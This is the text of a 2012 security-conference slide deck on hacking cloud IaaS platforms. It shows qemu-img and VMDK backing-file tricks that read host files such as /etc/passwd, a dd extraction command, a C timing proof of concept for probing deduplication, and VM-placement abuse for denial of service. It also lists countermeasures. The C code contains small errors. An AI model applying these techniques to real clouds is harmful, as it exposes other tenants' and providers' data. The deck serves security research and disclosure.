NDH2k12 Cloud Computing Security

Hacking Cloud Computing
infrastructures for fun and for proﬁt
Matthieu BOUTHORS
Wednesday, July 11, 12

Plan
• Introduction to cloud computing
• Focus on IaaS
• Targeting data snapshots
• Targeting data dedup
2

* as a Service
3

Characteristics
• Agility / Elasticity : Everything could be
scaled up/down
• APIs : Everything could be automatized
for more agility
• Reliability / Low maintenance : sharing
provide access to state-of-the-art
architectures at low costs
• Simplicity : Everything is divided in simple
pieces (needed by previous points)
4

Focus on IaaS
• Orchestration from user to behind the
OS :
– Networking (Firewall rules, Elastic IPs, DNS,
Load-Balancing, ... )
– Storage (RAW Volumes creation/deletion,
Mounts, Snapshots, ...)
– Hypervisor (VM lifecycle, sizing, RO access to
COM Port, ...)
• Sound likes something new and
interesting
5

IaaS stack
6

Cloud Solutions
• Custom orchestration other Xen/
Qemu-KVM hypervisor : AWS/
Rackspace/...
• Closed source all-in-one solutions :
VMWare (vsphere + cloud director), MS
(Hyper-V + System Center)
• Open source all-in-one solutions :
OpenStack, Eucalyptus
7

IaaS Hackers’ objectives
• Almost unlimited network/compute/
storage resources for free
• Access to IaaS customers’ sensitive
piece of data
• Access to IaaS customers’ VMs
8

IaaS attack vectors
• From the Internet
– easiest to perform
– limited attack surface
– hard to ﬁnd cloud speciﬁc vectors
• Cloud APIs
– Webservices available from all the Internet
– Most secured part
– Complete access to each IaaS functionality
9

IaaS attack vectors
• From a VM inside the cloud :
– behind almost all conventional layers of
defense
– simple and RAW access to underneath
resources
– almost all tool / custom code could be
used on the VM
– restricted to public cloud
10

“10$ Hack” principles
• Pretend to be a legitimate customer
• Spend a minimum of money thanks to
elastic billing
• Abuse a maximum of functionality only
accessible to customers
• Very effective against all provider with
shared infrastructures
11

Get close to the target
• Thousands of physical hosts but you
hope to be in the same as your target
• Host is assignation is only algorithm
tuned with different goals :
– limit host under-utilization
– provide constant performance among all
the hosts
– avoid capacity issues
12

Abuse Host assignation
• VMWare DRS :
• spawn a lot of VMs and generate huge charge
inside these VMs
• VMs will be migrated to hosts with low usage
• Stop generating load on VMs (VMs won’t be
migrated but their hosts will be able to accept
new busy VMs again)
• Start DoS on targeted VMs
• Targeted VMs will probably be migrated on a
host where you already have a VM
13

Attacking Storage
14

Commonly used technologies
• High performance NAS/SAN
• Custom ﬁle format for RAW disks
storage :
– VMDK : VMWare
– QED : qemu
– TODO Hyper-V
• Sometimes custom FS (VMWare VMFS)
15

Snapshots
• Users tends to create VM from only a few
subset of images
• Duplicating a RAW disk image on VM
creation on each VM creation takes ages
• Users need way to easily save RAW disk
images
• Snapshots solve these problems
16

Snapshot principles
• “Current” disk is marked as read only
• New disk is created with the “current”
disk as snapshot ancestor
• New writes are performed on new disk
• Reads are performed on new disk only
if block has been re-writed since
snapshot
17

Exploiting snapshots
• Control the value of the ancestor
• Restore the snapshot
• Read the content of the chosen
ancestor
18

qemu-kvm
• anyﬁle can be used as an ancestor with
standard qemu-img binary :
•
19
$ qemu-img create -f qcow2 -b /etc/passwd nasty.qed
$ strings nasty.qed
/etc/passwd
$ qemu-img convert -O raw nasty.qed nasty.raw && head -n 3
nasty.raw
# $FreeBSD: release/9.0.0/etc/master.passwd 218047
2011-01-28 22:29:38Z pjd $
#
root:*:0:0:Charlie &:/root:/usr/local/bin/bash

VMWare VMDK
• No sexy tool like qemu-img
• Virtual disk is usually separated into
several .vmdk files
• *-flat.vmdk files containing the raw
data
• .vmdk containing useful informations
including the references to *-flat.vmdk
files
20

Normal .vmdk
21
# Disk DescriptorFile
version=1
encoding="UTF-8"
CID=b5892a19
parentCID=ffffffff
isNativeSnapshot="no"
createType="vmfs"
# Extent description
RW 33554432 VMFS "debian-test-flat.vmdk"
# The Disk Data Base
#DDB
ddb.virtualHWVersion = "8"
ddb.longContentID = "312b4792544af9a8c959d20eb5892a19"
ddb.uuid = "60 00 C2 9b 32 5e f1 d0-54 b3 29 04 95 51 99 3c"
ddb.geometry.cylinders = "2088"
ddb.geometry.heads = "255"
ddb.geometry.sectors = "63"
ddb.adapterType = "lsilogic"

Modifying the extends
• Works with -flat.vmdk files from other
disk images
• Does not seems to work on local text
files
• Seems to work on local gz files
22

.vmdk modiﬁed #1
23
version=1
encoding="UTF-8"
CID=b5892a19
parentCID=ffffffff
createType="vmfs"
RW 0 VMFS "debian-test_1-flat.vmdk"
#DDB
ddb.uuid = "60 00 C2 9b 32 5e f1 d0-54 b3 29 04 95 51 99 3c"

.vmdk modiﬁed #2
24
version=1
encoding="UTF-8"
CID=b5892a19
parentCID=ffffffff
createType="vmfs"
RW 0 VMFS "/bootbank/state.tgz"
#DDB
ddb.uuid = "60 00 C2 9b 32 5e f1 d0-54 b3 29 04 95 51 99 3c"

Retrieving data
• Extend is accessible at the end of the
disk device
• We only have to skip the begining of
the disk to retrieve the needed piece of
data
• In our case :
25
dd if=/dev/sda of=leaked_img skip=33554432 bs=512
25+0 records in
25+0 records out
12800 bytes transferred in 0.020000 secs (640001
bytes/sec)

Caveats
• Hard to guess other VMs .vmdk
ﬁlenames and paths
• .gz are truncated to the closest
multiple of 512 bytes
26

Real-World attack possibilities
• Unlikely to be able to forge these
“snapshots” from API
• Should be really useful when user is
able to upload his own images
27

Deduplication
• Snapshot is not enough for optimizing
storage usage
• Filer (or ﬁle-systems like ZFS) provides
deduplication of redundant blocks
• Each time two redundant blocks are
found, a block is replaced by a link
• If a block is rewrited, the entire block
need to be written
28

Identify deduplication
• If only one byte is written, all the
deduplicated block needs to be written
• Sounds like a write penalty
• We will conduct timed attacks in order
to identify this penalty
29

Caveat #1
• Deduplication may be asynchronous
• Attack needs to wait for the
deduplication process to occurs
• Since deduplication is only on the Filer,
VM does not need to run waiting for
deduplication, only volume need to
remains during the wait
30

Caveat #2
• Deduplication is filer-centric
• Some filers work on NFS export at file level
=> no attack possible
• Blocks may be misaligned between the VM
Filesystem and the actual Filer => unlikely
to be seen since this means a severe
performance issue, the cloud provider will
work for us and avoid this case
31

Caveat #3
• OS / Filesytems Cache
• Empty Linux cache before doing
anything else
• Use direct IO for writing
32

What exploitation looks like
• Create files that may be deduplicated and
random files on your own VM
• Wait (maybe 24 hours if dedup is a daily
cron job)
• Flush Linux file caches
• Write one byte per block on each bloc
(usually 4KB)
• Compare timing on random files vs
deduplicated files
33

Flush Linux file cache
• Cache behaviour of Linux
unpredictable
• we need a tool to show and flush Linux
file cache
• VMTouch is this tools (thx to hoytech)
• https://github.com/hoytech/vmtouch
34

Writes and time measurement
• Avoiding python/ruby/java/...
• Needs to use direct IOs
• Needs to be far more precise than
UNIX time command (ms precision)
• Solution : simple C program
35

.c POC
36
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <time.h>
#include <stdio.h>
int64_t timespecDiff(struct timespec *timeA_p, struct timespec
*timeB_p)
{
return ((timeA_p->tv_sec * 1000000000) + timeA_p->tv_nsec) -
((timeB_p->tv_sec * 1000000000) + timeB_p-
>tv_nsec);
}
int main(int argc, char **argv) {
int f;
int t = "A";
f = open(argv[1], O_WRONLY | O_DIRECT);
struct timespec start, end;
clock_gettime(CLOCK_MONOTONIC, &start);
write(f,&t,1);
clock_gettime(CLOCK_MONOTONIC, &end);
printf("%dn",timespecDiff(&end, &start));
close(f);
return 0;
}

Attacking ZFS dedup
37

Limitations of this POC
• Only focus on first block of a file
• Lack of automation
• Lack of block size guessing (needed in
order to correct first limitation)
38

Impacts / Counter-measure
• Could be use to find if your cloud
neighborhood have :
• unpatched binaries on their VMs
• files that belongs to you (dataleak detection)
• Not limited to VMs, Provider may also
have hypervisor’s data on the filer
• Counter-measure : encrypt all your stuff
in order to have different RAW blocks for
same piece of data
39

Corrupting dedup
• Work In Progress :
– generating a collision on dedup table
– when user try to write legitimate ﬁle, they are deduped to your
backdoored version
• Difficulties :
– Each Filer / Filesystem have is own checksum algorithm : you
need to gather information about the storage infrastructure
– Filer / Filesystems using weak checksum usually perform bit per
bit comparaison before dedup (for instance NetApp)
– Finding usable collision on strong checksum algorithm is really
hard (for instance ZFS uses AES-256)
40

Denial of Service via Dedup
• Not tested yet
• Only usable with solutions with weak
checksum + bit-per-bit comparison
• Attack scenario :
– generate a maximum of collisions thanks
to the weak algorithm
41

Solutions : Provider side
• Innovative solutions need to be
security assessed more than usual
• Internal security actions need to be
publicly known and mesurable
• Solutions :
– internal skilled security teams
– certiﬁcations and external audit policies
42

Solutions : Customer/User side
• Customer could not blindly trust any
cloud provider
• Counter-measures are available on
customer side :
– Avoid storing sensitive data unencrypted
– Add ﬁrewall / IDS / IPS directly on VMs
– Ensure the quality and reliability of the
selected provider
43

Conclusions
• New technologies bring new threats
• Other attacks available :
• VM memory overlapping Host Memory
(VMSA-2012-0009.2)
• Xen SYSRET instruction (CVE-2012-0217)
• ...
• New threats does not always mean new
way to ﬁght these threats
44

Questions ?
• Thanks : @hackerzvoice
& @outscale
• Contacts : @majin_boo
45
CrashFR will never die in our living memories

NDH2k12 Cloud Computing Security

Recomendados

Recomendados

Más contenido relacionado

La actualidad más candente

La actualidad más candente (20)

Destacado

Destacado (17)

Similar a NDH2k12 Cloud Computing Security

Similar a NDH2k12 Cloud Computing Security (20)

Último

Último (20)

NDH2k12 Cloud Computing Security